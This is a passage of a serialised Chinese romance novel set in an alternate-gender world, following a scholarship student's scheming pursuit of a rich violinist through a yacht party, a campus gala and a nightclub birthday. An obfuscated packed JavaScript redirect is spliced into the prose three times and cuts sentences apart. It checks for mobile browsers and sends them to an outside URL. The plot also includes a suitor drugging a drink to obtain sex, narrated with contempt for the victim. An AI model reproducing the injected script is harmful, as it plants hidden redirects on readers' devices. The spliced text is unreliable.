斐然想跟着,但又没什么合适的理由,只好在原地听崔尧跟别人吹牛。 路人甲1:“请的谁啊?” 崔尧:“那个谁呗。” 他指了指手机界面,斐然瞥一眼,不认识。 路人甲2:“现在的明星都不够水灵,哎呀。” 崔尧磕着瓜子,笑眯眯瞅那人一眼,“赵知佑够水灵了吧,你去叫一个试试?” 路人甲2:“我可不想跟向晚玩命。” 路人甲1:“呵呵真叫来了也是被赵知佑一人赏一顿老拳。” 路人甲2:“你表弟这两年都不怎么出来玩,还跟那些戏子明星坐一桌,不是去表演就是比赛,现在连王奕都觉得他好欺负,蹬鼻子上脸了都。” 崔尧:“我看你们是忘了,以前他经常这样假装好欺负,才有正当理由收拾别人,不然我姑那关他就过不去。” 路人甲1:“还真是。” 路人甲2:“给表弟组的局每次都这么素,连服务员都往老实里挑,刚才换个老手哪里有王奕发挥的余地,崔尧你是生怕有野鸡飞上他的枝头啊?” 崔尧:“可不是我怕,不素点长辈那边交代不了。” …… 歌星来了,穿得亮闪闪的,刚刚还一口一个戏子的公子哥们又开始欢呼捧场,人人都是变脸大师,斐然逮着机会假装出去续个果盘,一转身遛去找崔词意的踪影,路上碰到那个叫陈衡的,姑且算作崔词意的跟班吧,在跟经理聊那个服务员的事。 陈衡说:“这事你看着点,崔少不想横生什么枝节。” 经理连连点头,“神仙打架难免小鬼遭殃,我会看着那小刘一点,起码在我这,王公子对付不了他。” 陈衡说完,也不去找崔词意,找个地方坐着,给自己倒了一杯酒,自酌自饮起来。 这跟班不如给我做,这么不敬业的人也招,斐然心里想,却顺着他的目光找到了崔词意,崔词意正在上一层靠着栏杆吹傍晚的海风。 斐然故技重施,端着一个果盘+红酒上去,可是越接近他,就忍不住越放慢脚步,也是这时他又发现,原来游艇上一直放着歌,那原本是被斐然自动过滤掉的杂音。 托崔词意的福,他又听到了这首歌的歌词。 崔词意在跟着音乐节拍,轻轻点着脑袋,手指也在栏杆上轻点。 ?Day to night to morning(从早到晚), keep with me in the moment(让我停留在此刻)” ?“You got to keep me focused(你想让我注意你), you want it? Say so(那就说)” ?海风轻拂那张俊朗的脸颊,夕阳投下了淡淡的金光,一切又回到初见的那个早上。 ?斐然想,现在不是认识他的好时机,至少不是贴着假刘海穿着服务员制服端着一个果盘的自己。 经过这一天,斐然也算有些收获,起码了解到一些崔词意的关系网,崔尧是崔词意表哥,今天是他为庆祝崔词意拿小提琴比赛的什么奖开的游艇派对,跟在他身后的跟班叫陈衡,贴身保镖兼办事小弟,周围其实还有一些便衣保镖,就明显是练家子类型的。 还有,他喜欢养壁虎。 为了对得起这份酬劳,斐然悄然回到工作中,再一次不经意看向楼梯口时,发现了打算离开的崔词意一行人。 刚才闹出事的服务员小刘马上迎上去,面露感激地说着什么,崔词意面无表情地略过了他,无视,小刘跟了他一路,在门口被保镖拦住才黯然离场。 好险,斐然心想,刚才没有贸然出面是对的,不然也是轻则无视,重则被保镖请走。 4. 《十面埋伏》 昨天在游艇熬到凌晨4点,李田田回来就睡了一大觉到中午,人是睡了,心却没睡,梦里都是斐然和崔词意到底发生了什么,内心的八卦因子促使他到斐然那里串门。 此时斐然正在电脑前写代码,他眼下青黑,却聚精会神,窄小单调的单人宿舍里竟然放着小提琴曲,真是石破天惊,从大一认识斐然开始,没见此人听过歌,现在竟然震撼公放。 但是恕李田田没有那个高级脑,他不觉得这种古典锯木头音乐有什么好听的,斐然蹙着眉,表情看起来也是听得很痛苦,写代码的速度都相较以往慢不了不少。 显然,他心乱了,爱情还是影响了他拔刀的速度。 李田田过来就是为了打探他昨天的进展,在旁边等到斐然敲完最后一行,才迫不及待地问起了进展。 李田田:“怎么样?见到崔少真人感想如何?” 够乖僻吧。 斐然想了想,说不上来是什么感觉,很难形容,他觉得崔词意挺装的,装归装,其实也还算有风度,这一点,作为那艘游艇上的最底层——服务员的他和小刘都是受益者,但他在折磨比他低一层级的人时,又手段频出,似乎很热衷于游戏人生。 还有他对人好像不感兴趣,昨天来了很多高颜值的明星模特,虽然都比不上崔词意本人就是了,但也各有特色,而这位公子哥愣是一眼没看,除了听歌就是在那饶有兴致地盘壁虎,路过的人想靠近他还要啧一声劝退,怕他们身上的烟酒味熏到小宠物,非常不解风情。 噢,斐然上网查了一下,现在管壁虎叫守宫。 说到守宫,斐然就只提这件事,“他喜欢养守宫。” 李田田无语:“这是重点吗?” 斐然说:“当然是。” 他只说是,没说为什么是。 斐然是觉得,他虽然生理上不喜观赏这类宠物,但类似这种爬行动物其实都是外表看起来是挺冷酷神秘,但其实只是智商不够,钝感力强,崔词意也有点像这样,但他的不聪明和钝感只是因为他没吃过什么苦头,许多事不用他操心,自会有人帮他兜底,倒不是说他本人智商低。 斐然不说,李田田倒是脑洞大开,发散思维,难道他的意思是:蛇是守宫的捕食者? 其实斐然因为长相在学校里挺有讨论度的,入学第一年元旦晚会,斐然作为主持人,化妆师小学妹下手没轻没重,给斐然化了个蛇系烟熏妆,甚是魅惑,被匿名树洞表白时称其为蛇系美人,这是起因。 但出名之后,很多人就觉得他的长袖善舞其实是欲待价而沽,毕竟有这个学术能力何必参与那么多学校事务呢?正经聪明人谁不专心搞研究啊? 况且他这人吧,正常同学相处还好,态度冷清了点但也不算拒人千里之外,可凡是对斐然有意思的,都能感觉到斐然对他们是一种不甚明显但细究起来很膈应的看不上,一看就是斐然故意而为之,之后跟卢月的事情闹得沸沸扬扬,也凸显了斐然的心机深沉,于是就多了个美人蛇的代称。 这些都是李田田跟斐然闲聊时说到的,他本人倒是不怎么上网,一开始被叫蛇系美人斐然还挺不乐意的,但美人蛇这个带有贬义的外号倒是接受良好。 他不会真的打算咬一口崔词意吧? 突然感觉好刺激怎么回事,李田田吞了下口水,保持最后一点理智说:“人家名贵守宫从小养在防弹玻璃柜里,就算是蛇也只能干瞪眼好吗?” 可以说刚露头就被园丁一刀秒了。 虽然想法跟李田田不一致,但斐然还是大致get到了他说蛇的原因,既答:“不好。” 李田田:“我们平时不是最讨厌这种仗势欺人的天龙人吗?” 斐然:“一码归一码。” “什么叫一码归一码?资本家必须挂路灯好吗!” “可以先把资本家儿子挂上。” 李田田悻悻地说:“你想把这位资本家儿子挂路灯还是挂身上自己心里清楚。” 斐然笑而不语。 李田田估计卢月就是输在长得不够好看了,男人,呵,肤浅。 好吧看在救命之恩的份上,李田田豁出去了,舍命陪君子,万事通发力,立马把崔词意接下来几周的踪迹都摸了出来,发给斐然,拍拍他的肩膀,表示哥们只能帮你到这里了。 为表谢意,斐然把那些找上门的外包活分了一半给他,简单的项目李田田还是能做一做的,他主要是心思不在这方面。 有钱赚,李田田一高兴,决定再送他消息大礼包,絮絮叨叨地跟他说起他跟崔词意的几面之缘,大意就是他怎么嚣张怎么装逼的种种。 斐然边听边在自己的日记本上简笔画了一只姿态嚣张的独眼小守宫。 “你知道他表哥崔尧吗?” “噢他呀,他其实不是崔词意真正意义上的表哥,他们是出了五服的亲戚,隔了老远可能只有姓一样,不过他爸是本地的老钱,当年扶持了词典科技一把,这个亲戚肯定是要认的,他们俩关系还不错,所以圈内老有人戏称他是驸马——” 李田田目光瞥到斐然对这个称呼似有不悦,赶紧往回找补一下,“呵呵,要是在我们村绝对不会有这种说法,因为同姓恋是犯法的,姓名的姓。” 你们村竟然封建在这种奇怪的地方吗?斐然不知道该说什么好了,不过他倒是没有很把崔尧当成假想敌,昨天他们一看就是以亲戚相处的,彼此都不怎么来电的感觉。 在李田田这个本市万事通的帮助下,斐然了解到原来崔词意家在呈阳市还算不上老钱,真正的老牌豪门是崔尧的爸爸,崔越,崔越是崔词意妈妈崔毓出了五服的亲戚,虽然是很远的亲戚关系,但两家关系密不可分,当初是崔毓来呈阳打拼时被崔越看中了才华,扶持她创立了词典科技。 崔越特别疼崔词意这个远方外甥,可以说崔词意在呈阳横着走很大一部分原因在崔越身上,毕竟他妈妈可不会无条件惯着他,但崔越会,他的儿子崔尧也奉崔词意这个表弟为座上宾。 斐然边听还边在笔记本上记了几笔。 李田田讲得口干舌燥,看见他笔记本上画的那只独眼守宫,心里有点毛毛的,这样事无巨细的研究,以及精心策划的各种偶遇,行动力太强了。 如果他是崔词意,肯定会觉得被斐然盯上还怪瘆人的嘞,没想到斐然这种能力强又受人追捧的校草也有当痴汉的天分。 李田田试探地问了一句“你说咱们这样是不是有点像变态啊?” 斐然勾了勾嘴角,“把像字去掉。” 李田田:“啊?那我可不能跟你同流合污。” 斐然:“这世上的所有事,都有程度的区分,坚持追求一个人,可以是惹人厌烦害怕的疯子,也可以是一往情深的痴情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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可惜的是,接下来一周多的时间,无论怎么使劲,他都跟崔词意擦肩而过,没能再见到他。 要么是说好了的聚会崔词意有事没来,要么是他去比较私密的娱乐场所,斐然这位无名小卒没办法从他的全世界路过,不然就是刚好跟斐然的工作时间撞上,或者他刚到崔词意早已提前走了。 至此他又发现了崔词意的一个特点——他还挺爱放人鸽子的。 再一次无功而返之后,斐然站在公交车站牌下看着夜色下来往的车辆,路灯投下他单薄高挑的影子。 听说崔词意到这家酒吧里玩耍,斐然便开完组会就马上坐公交来找他,结果他前十分钟就已经因为临时工作变动去了机场将要飞往国外,别问他为什么知道,因为崔词意到过的地方,总有人在谈论他。 天色晚了,这座城市仍旧车来车往,灯火通明,每个人都有事情要做,每个人都急着做自己的事情,而作为这座城市最勤劳的工蚁,斐然现在一反常态地只是站在街边。 找点事情做,别在这傻站着,斐然,你在浪费你的时间。 不知道自己思考了多久,最终,他还是选择在便利店里,买了一个面包。 拿着面包坐在便利店里一抬头,看到了远处高楼大屏,贴着崔词意演出的广告海报。 店里在放着不知名的歌,又被斐然留意到。 “何以我来回巡逻偏仍然与你擦肩” “还仍然在各自宇宙错过了春天” 斐然盯着海报。 每次看到崔词意,音乐都打破了他大脑的屏蔽设置。 斐然忽然觉得自己以前太自大,音乐不仅仅是娱乐,也可能是过往的记忆,当下的心境。 以及那个遥不可及的他。 5. 追求者的助攻 为了庆祝和隔壁学校建交20周年,斐然的学校挂起了彩带鲜花气球,准备开一个联谊晚会,斐然在领导讲话之后还要上去代表学生发言——任何大场合他都要被领导抓去充场面,当然这也是他一手推动的,不参加活动怎么找对象。 这不,生活立刻给斐然送了一个大惊喜,崔词意也在晚会的表演名单上。 学校的大会堂此刻也摆满了琳琅满目的食物,新鲜的水果和零食,还放置了音响和灯光,等领导讲话完毕就可以开始HAPPY了。 斐然走上台发言时,发现崔词意就跟他们学校的乐团拿着琴坐在舞台侧边,专心看着琴谱,在他身边的同学都纷纷抬头看校长介绍的这位之前是高考状元,在学校一直保持全校绩点第一+大奖小奖不断+国际期刊常客的校园杰出代表时,他依旧是一个眼神都没给走上台前引起热烈欢呼的斐然。 斐然转身面对台下,余光也看不到崔词意了,这种感觉很奇妙,斐然不知道他会不会抬头看他,却始终带着这样的幻想。 本来只是完成任务式的演讲,不由自主地加了一点抑扬顿挫和小小的幽默,台下被他屡屡逗笑后,发出了大胆的问话。 “学长好漂亮!有没有考虑过来我们学校找个对象?” 斐然:“那应该反过来问,有合适的,就帮我介绍一个。” …… 晚会开始后,斐然一边应付着搭讪的人一边留意某人,李田田冲他使了眼色,指向某个被装饰气球挡住的位置,果然从侧边的角度一看,便看到了崔词意。 他正坐在那里慢条斯理地吃苹果,他的跟班陈衡也坐在他旁边吃香蕉。 崔词意吃苹果吃得专心致志,对周围来要联系方式的人置若罔闻,眼皮都不抬,让人很想问一句你耳朵聋吗,许多人尴尬离场,很快他的周围就冷冷清清了,离场的人其中就包括了花臂学长。 花臂学长向崔词意表达完自己对他小提琴技巧的赞美收获了一场空气之后,尴尬地左右看了看,便看到了不远处斐然揶揄的眼神以及李田田为他尴尬的表情,神思恍惚间忿忿不平地靠过来,斐然躲开他的冲撞,他便把手搭在了李田田的肩膀上。 “你俩刚刚是不是在取笑我。” 李田田连忙摆手,“没有啊。” “你们就笑吧,你斐然上去也是这个下场,杰出代表算个屁……” 斐然对于失败者一向非常宽容,“如果这么想能让你好受点的话。” 李田田汗颜,没出手就是硬气啊,一直不出手就不存在失败被嘲讽的可能。 他的胸有成竹让花臂哥恼火地说:“斐然,我最讨厌你这种不想努力的心机男还专门挑好的吃!像你的条件分分钟把卢月那种哄成胚胎,或者去搞那些寂寞的大龄富佬不行吗,干嘛非得挑崔词意啊!他多单纯啊!” 李田田瞳孔地震,不敢置信地说:“单纯?你更单纯,你纯就纯在一点都不认识他你。” 斐然对他关于崔词意的看法不否认,对其他不赞同,心里想:可别低估了蠢人对人生的影响力,卢月是那种蠢得特别刻板印象的家伙,跟他相处是一种精神上的折磨。 此人对同学不爽,明明可以背地里整人,偏偏要大庭广众之下霸凌,而且是那种特别低级的霸凌,又唱又跳跟小丑一样。 斐然觉得被他大张旗鼓追求是一件相当丢脸的事情,像是被迫加入蠢货的小丑剧。 说到卢月,卢月就来了,他喷的香水隔着五米远都能闻到。 斐然听着花臂跟李田田插科打诨,不动声色地移到崔词意附近,再把花臂哥口袋里的崔词意宣传册放到自己胸前口袋里。 一个风骚的男子再加左右两个护法,径直朝斐然走去,现在学生大多去操场蹦迪了,此时人不多。 在场为数不多的人自动给他让出一条路,而他也很享受这种成为焦点的感觉,斐然强行忍住走的冲动,站在原地,他在这刚好能用余光看到崔词意,崔词意还在啃他那个苹果,他吃东西也跟说话一样慢。 卢月坐到一张桌子上,低头将眼睛从墨镜里探出来,盯着斐然。 “斐然,你到底还要考验我到什么时候?是我送你的包不喜欢,还是首饰不好看?” 斐然说:“你不要在我身上浪费时间了,我不喜欢你这卦的。” “那你喜欢哪一卦的?说来听听。”左护法替他发问。 右护法一向眼尖,立即抽走了斐然口袋边缘的宣传册,打开一看,“噢原来是这一卦啊,哎呦小提琴王子。” 卢月发笑,“有没有搞错?你看上他什么啊?崔词意收拾收拾可以去领个残疾证了。” 此话一出,周围突然安静下来。 斐然轻轻说:“贬低别人并不会让你更具有竞争力,光是这一点别人就比你强得多。” 说完这话,斐然侧过脸去,带着些歉意看向崔词意,终于,崔词意抬起眼,饶有兴味地打量了斐然一眼。 他们产生了真正意义上的第一次对视。 微风吹过斐然的额发和秀丽的眉眼,面部感到一些湿气,斐然才发现自己发了些汗,好在准备做得充足,他确信此时即使不够完美也非常体面,他轻轻地舒缓一口气,等着脑海中的音乐响起。 但往日一见到他就自动开始听歌的脑子突然不灵了,只剩下一片寂静和他的眼睛。 他的眼睛很透亮很好读懂,里面除了好奇什么也没有。 但很快他就转移了视线,在某位刻板印象蠢货的大言不惭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154683|196530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下,把顷刻间转变成不屑和轻蔑的目光转向另一边。 卢月的角度看不到崔词意,还在卖弄口舌,讥讽暗笑的表情使那张还算不错的脸显得非常丑陋,“这个别人可不包括崔词意,客观上他就是比我差,起码我身体健康,他这种的说不定连机动车驾驶证都拿不到,国家不允许!” 花臂哥听不下去了,“诶你说什么呢你,怎么这么没素质!” “就是就是,人家又没惹你。” 其他几个围观的学生也七嘴八舌地加入战场。 李田田完全没有在听了,目瞪口呆地看着斐然和崔词意终于牵扯到一起的视线。 卢月一说起崔词意啊那可有的说了,可谓是罄竹难书,卢月此时连自己的深情对象都忘在脑后了,正舌战群儒忽然被一个路过的家伙狠狠一撞,他猝不及防地摔了个火辣辣的屁股蹲。 不仅头磕在一旁的桌子上,还有一根香蕉掉下来砸到脸上,十分狼狈,左右护法连忙去扶,还没等他恼火地发作,就听到一句极为动听的国骂。 “卢月,你等着,我现在就去草你的爹。” 卢月抬头,只看到崔词意扬长而去的背影,僵硬地转头问护法:“刚才撞我的,是崔词意吧?” 左护法也僵硬点头,“是的。” 右护法迟疑地说:“我们这么骂他,他就这么算了?” 不对劲,按他往年的作风绝对不会轻易了事。 卢月无言以对,什么叫就这么算了,我爹不是人啊? 旁边两个人都傻眼了,卢月拍拍屁股自己站起来,发现竟然因祸得福,往常一向不鸟他的梦中情人斐然蹙着那双狭长漂亮的眼睛,担忧地看着他,“你没事吧?” 他好善良。 卢月假装自如地笑了笑,顺水推舟地卖惨并上眼药,“我没事,他一向这么没素质,我只是希望你不要被他骗了。” 这下他也该知道崔词意的真面目了吧,谁家小提琴王子骂人草爹起手啊! 斐然也适时露出赞同的意思,“没想到他是这样的人。” 花臂哥嘀咕一句,“什么叫他是这样的人,他咋了他。” 怎么会有人这么盲目,李田田回头瞥他:“你刚才睡着了是吗。” 他问候对方家属的时候你不在是吗? 斐然终于开始懂他了,卢月欣慰点头,不枉他被献祭的亲爹,趁热打铁说:“过几天我生日,我在夜色包了场,就当可怜可怜我,你来吧。” 斐然点点头,“好吧,你的伤,记得擦点药。” 卢月幸福地说:“好!” 李田田同情地看了卢月一眼。 怎么说呢?比起他这刻板印象的蠢,还是斐然那刻板印象的坏更让人震撼。 6. 吓吓你 卢月大张旗鼓地宣告天下自己的追求有进展,并诚邀斐然的同学和老师来参加自己的生日派对,很可惜这些人没有一个有空的,就连斐然自己也是熬了几天,一下班就赶due,就为了生日派对那场重头戏,因为他有预感,崔词意一定会去。 夜色是呈阳市最大的夜店,有足足10×10排卡座,台上大束的灯光变换闪烁,干冰不要钱似的往外冒。 会场的人已经差不多到齐,音响开到最大,舞池里不少人开始尽情蹦迪了,卢月坐在中间的沙发上,一边享受着众人的恭维一边欣赏自己的排场,卢月的右护法不知为何担忧地左右巡视了一遍。 然后焦虑地跟左护法说:“我有点担心崔词意来砸场子。” 左护法一副心有戚戚的样子,“我们家老头被他连坐了,我是挨了一顿打才来的。” 卢月脸色也是一青,谁不是呢?这崔词意能不能讲点武德,年轻人打架干嘛牵扯家里老头,昨天他家公司市值直接蒸发2个亿,他爹真的是被崔词意吓得差点心脏病发了,自己现在背上和屁股也是火辣辣的疼,但还是嘴硬地说:“都把我们搞成这样了,他再来我也不怕跟他鱼死网破,他又不是崔越的亲生儿子,真闹大了我不信崔越还无条件帮他。” 然后这灯红酒绿间,有一抹亮眼的昳丽踏入。 斐然今天穿的是一件简单的白衬衫+长西裤,朴素的装扮很好地削减了他艳丽的外表原有的攻击性,长身玉立,书卷气非常浓,有点HOT NERD的感觉。 卢月眯着眼,远远地看着斐然,再看看桌上的酒,眼睛里是势在必得,“我付出了这么大的代价,今天晚上一定要成功。” 其实有一项研究表明,拥有激素属性的人群对酒精之类的诱发性物质更加敏感,很大可能会促使他们的激素小爆发,运气不好或许还能诱导成不低于易感期的欲望,因为激素性别本来就是一种返祖现象,表现在他们有不受控的易感期,虽然抑制剂的发展已经跟疫苗差不多了,没有特殊情况只需要几年打一次,但还是有些不便,关于酒精敏感的研究是研究到了,没到自己头上很难去时刻注意这种威力并不显著的小小灾难,普通beta也有大量因酒精上头的案例,也没见他们少喝。 卢月先给自己倒了一杯,享受高纯度酒精让欲望慢慢浮现的过程。 穷人家的孩子,干涸裂缝里挣扎出来的花,最是好对付,天价的礼物,深情的表白,手指缝里漏出的一点东西,都像甘霖一样使他们受宠若惊,嘴上都是要爱、要尊重、要平等,把贞操看成比天大的东西,如果在酒精和多巴胺的催化下,产生爱的错觉,发生了关系,他们竟也真的一根筋地死心塌地了,不知道他们到底是被爱支配还是被吊支配了,等抛弃他们时,他们也会异口同声地说:我把最重要的东西给了你,你怎么能这样对我。 最重要?贞操能当饭吃还是能产生GDP?别开玩笑了,如果你最重要的东西是这么廉价的玩意儿,那你就活该被我玩弄。 斐然已经算是坚持清高时间最长的了,现在看来也不过如此,但现在出手也还是太操之过急,他们之间还没有建立信任和暧昧,为确保万无一失,他还加了点小料。 跟班和狐朋狗友们众星捧月般把斐然簇拥到卢月面前。 也许是觉得自己离成功只有一步之遥,卢月看他的表情堪称露骨放肆。 周围人的态度也十分暧昧,看他就像看一个某人的掌中之物。 服务员捧着一杯酒,礼貌地递到斐然面前。 卢月盯着他,装模作样地说:“斐然,我要当着那么多人的面向你再表白一遍,再问你一次,即使你现在没考虑更进一步也没关系,我们可以先当朋友。” 看着那杯颜色漂亮的酒,斐然只是轻轻一笑,接过酒杯,却只是扬了扬,不喝,看着卢月说:“生日快乐。” 然后他听到了从容的脚步声。 很奇怪他跟崔词意总共就见了几面,竟然能分辨他的脚步声,所以他还是不太敢相信,直到那股独有的香气夹杂着淡淡烟草味传来,斐然昂起头,将那杯酒一饮而尽。 斐然喝下了酒,卢月却没有心情宣告自己的胜利了,因为崔词意来了,而且在步步逼近他。 崔词意足足有188,人也不细狗,高大的身形非常具有压迫力,再加上他脸上那种玩闹般的微笑表情,让卢月不由自主地不断后退。 “你怕我啊?” 崔词意询问的语气甚至说可以有些无辜,与他咄咄逼人的举动非常不符。 卢月退无可退了,一屁股软倒在矮沙发上,才虚张声势地回应起来:“你你你来干什么?我……我好像没请你吧?” 崔词意毫不客气地,一脚踩在他的大腿上,俯身居高临下地俯视他,勾着嘴角,鹦鹉学舌学他的结巴样,“我我我当然是来给你过生日,你你不欢迎吗?” 卢月:“空……空着手来啊?” 崔词意继续学:“不不然呢?” 这幅场面活脱脱一副恶少霸凌小可怜的大戏,但周围没有人敢做声,只有吵闹的音乐在响,左右护法也像拔了毛的鹌鹑,老实巴交地缩在原地,一声不吭,然后崔词意忽然回过头,看了斐然一眼。 大概也许是因为斐然不小心笑出声了吧。 他看过来的时候,斐然也把目光迎上去。 崔词意看着斐然,像是想到了什么有趣的玩法,对卢月说,“你诚心想要,那就送你一场即兴表演。” 然后崔词意长臂一伸,揽住了斐然的肩膀,轻轻的,没有什么力度,只要斐然有任何的不情愿,都可以一下子挣脱,但斐然没有,崔词意就作势朝着他吻下来。 那一瞬间,斐然只是有些恍神,夜店里刺眼的灯光如梦似幻,“灰姑娘”竟会如此草率地得到王子恶作剧的一吻吗? 很遗憾,王子的吻却并没有真正落下,只有一阵风擦过了他的侧脸,停在耳侧。 “吓吓你。” 斐然听到他用顽劣的语气说。 后面的事情如何,两所学校众说纷纭,有人说卢月和崔词意两大公子哥为了一个男人针尖对麦芒,大打出手,崔词意那是一打一群七进七出顺利抱得美人归,也有人说卢月受不了ntr的刺激,当场晕过去了,崔词意带着斐然大摇大摆走了。还有人说斐然和崔词意两个人一见面就火花四射,当着众人的面吻得难分难舍,大家都惊呆了,吻得差点断气之后,不由分说就去开房了! 尺度之大让李田田觉得这些传闻艺术创作成分还是太高了,斐然不是那种不着调的人,再说崔词意也不是那么容易勾到手的,起码他没听说过成功案例,刚想去隔壁问一下斐然,斐然没开门,倒是花臂哥在门口捉住了他,跟他哭唧唧,还自带一打罐装啤酒。 没办法,只好舍命陪君子喝一壶。 而风暴中心的男主角正在宿舍闭关修炼,一回来就熬夜赶代码,那边李田田发来信息、 李田:求你了我真的很想知道发生了什么,现在网上快把你俩说成大战三百回合了! 斐然:在哪说的 李田:链接 斐然点开链接,里面是两所学校某几位“人才”合开的微博树洞。 @呈阳的星空与乐曲bot:投稿3819:卢少这次马失前蹄啊,还以为能见证第9个月男郎的诞生呢 评论1:守宫哥平时不是装得很吗?感觉穷人经过他身边他都要拍拍灰尘,怎么也当众为贫民窟美男子出头了 回复:错误的,不只是穷人经过会拍灰尘,他平等地看不起所有人 回复:说实话我以为他的性取向是壁虎,怎么看上我们学校的美人蛇了 回复:呵呵在现场,蛇学长这次的小心思藏都不藏了,算盘珠子差点崩我脸上 回复:纳闷了,这么浅显的手段守宫都看不出来 回复:学到了 回复:学到个屁,你真以为建模怪很有操作啊? 评论2:到底发生了什么,各种小道消息一个比一个逆天 回复:没什么大事,要真这么香艳,视频早就满天飞了,而且姓卢的哪里敢惹姓崔的。 回复:他不是不敢惹,是没打过,没被整之前叫得比谁都大声,一旦跟守宫面对面碰了,裤子都差点吓尿 评论3:该说不愧是我们学校的校草吗,让两个豪门少爷争抢得这么难看 回复:我还以为你们学校全是书呆子,什么时候评的校草?我们都没评过 回复:你们学校还用评嘛,不是公认的守宫哥吗 回复:那确实,虽然他人挺装的,脸是没话说。 斐然发现,比起风流成性的卢月,这些匿名树洞的人似乎对崔词意的恶意更大些,看来他的乖僻还真是美名远扬,而且这个外号——怎么谁都知道他爱盘壁虎。 树洞里对卢月的花心甚至是调侃性质的“月男郎”,他算什么东西敢让别人冠他的字,专业水平平平无奇,家族事业也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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崔词意似乎觉得这样拉拉扯扯不好看,干脆脱下自己被他一直扯着的外套,把斐然整个包住,连他不安分的两只手也困在外套里,然后把拉链唰得一拉,两边袖子就空唠唠地垂在身体两边,让斐然远远看上去像个没手的。 给他防寒的同时也防住了他的身体接触,崔词意看他这副直上直下的蛹状还笑了一声,似乎有些得意自己的天才做法。 斐然深吸一口气,卢月再怎么也不敢做太过分,药效并不强劲,他也没有失去太多理智,装的成分居多,现在只觉得无语,怎么会有人当绅士也当的这么不解风情,他挺大个男人这样穿衣服好看吗?! 被包住的手动了动,崔词意还懒洋洋地警告他,“不准动。” 斐然不动弹了,抬起眼,只欲语还休地看着他。 崔词意本来还默默地抽着烟,不一会儿就被他看得不好意思了,让他这副样子站在街上确实有点强人所难,“我带你去车上。” 可还没走到他车前,抑制剂就已经送到了,崔词意把抑制剂往他的口袋里一塞,“打吧。打完我走了。” 看来是不打算送他回宿舍,斐然也不意外,他一向是有点绅士风度但不多。 斐然伸出手,再次扯住他的手臂,主动出击,“加个微信吧,我把外套洗了还你。” 有人嗤笑一声,“好老土的加微信手法,这衣服他可以送你的其实。” 斐然回头看,是崔词意的跟班陈衡,不知道从哪冒出来的。 崔词意头也不回,一边随手掏出手机跟他加了微信,一边回:“你的衣服还是我的衣服你就送?” 陈衡探究地看一眼斐然又看一眼崔词意,倒也没再置喙。 看来在他们那里,游戏还没结束,很好,斐然心想。 他的微信头像是那只黑色小守宫。 让斐然加微信的手抖了抖。 加完微信,三个人站着,不说话,斐然不解,刚要问就刹住了嘴巴,掏出抑制剂给自己来了一针。 好险,差点忘了。 斐然打完抑制剂,崔词意的迈巴赫也扬长而去,徒留他在原地吃车尾气。 是崔词意开的车,看来他有驾驶证。 斐然再一想,未必。 斐然打车回来的,回来就把崔词意微信头像的守宫打印出来,贴在了书桌靠着的墙上,给自己进行一个脱敏训练。 守宫差不多能活15年呢。 7. 雨天出行注意安全 斐然想的倒没错,这场游戏还未结束,在斐然不知道的角落里,一张陈衡的朋友圈截图,又引发了富二代圈子新一轮的乐子。 陈衡发了一张图片,两只手举着手机互扫微信的图片,并配文:不会有人追了半年都没加上微信吧?不会吧不会吧? 这下气得卢月在家里大喊大叫,当时那种情况带那个学霸美人去开房都成,结果崔词意这家伙还帮人打抑制剂,当晚只加了个微信,然后就傻不愣登地自己打台球去了,简直暴殄天物,姓崔的山猪就是吃不了细糠!这辈子就跟你的壁虎过去吧! 旁边的朋友吊儿郎当地坐在沙发上抽烟,叫道:“邱月,你就这么算了?不整一下那小子?” 卢月看了他一眼,旧的左右护法昨晚跟着他一起丢大脸,自然不在一块儿玩了,新的朋友一个叫任天,一个叫邱为,这个叫邱为的是外地刚来的,尤其年轻气盛还不了解情况,正好,跟崔词意碰一下。 卢月叹一口气,“我不好出手,爸妈都互相认识。” 邱为呵呵一笑,“听说崔词意过几周要去米兰演出,以他的作风应该不会跟乐团行动吧,那在路上遇到磕大了的小混混也很正常吧?” 任天接话:“有意思,不过他身边那个陈衡看起来挺能打的,估计他吃不了太大的亏。” 邱为:“那就多叫几个人。” 卢月装模作样地嘱咐了几句:“你们神仙打架,我就不参与了,注意点,别闹太大,不然也不好收场。” 即使加上了微信,崔词意也只是在他的朋友列表存在着,斐然没有贸然进攻——在他摸清崔词意的所有喜好之前,说是这么说,但工作之余他也还是时不时点开崔词意微信看,什么也没看出来,就跟头像上那只守宫大大的眼睛对视一秒又移开目光,脱敏了好久还是刺挠。 他的微信朋友圈不是表演宣传信息就是守宫吃饭睡觉眨眼睛。 斐然强行给自己灌输他所喜爱的一切,其他都还好,但听古典乐的后果就是,每听五分钟要暂停两小时,不仅如此,还要开门透一下气,把古典高雅的气味散一散才能呼吸。 李田田好不容易从失恋的花臂哥那里脱身,见斐然终于开门,就探头进来,看着斐然墙上的守宫照片欲言又止。 这一个两个都是中了邪吧,刚才在隔壁听花臂哥的暗恋史简直了,崔词意被他描述成一个不通人情世故的孤傲天才,被蒙蔽的天真无邪的小少爷,以及被斐然这个野心勃勃的凤凰男预备役算计的可怜小男孩。 听了这么一长串的不知形容谁反正不可能是崔词意的形容词和代词,他对花臂说:“有个伟大的文学家说,爱情可真是不长眼睛。”只有盲目的人才会陷入热恋。 花臂回答:“是的,爱情对我们这样的丑人一向是视而不见的——以为只有你读过莎士比亚吗。” 什么叫对我们这样的丑人,李田田力竭了,爱情还使你攻击性很强。 这边斐然也不遑多让,天天搁这听古典乐锯木头就算了,连崔词意养的宠物都要贴在墙上! 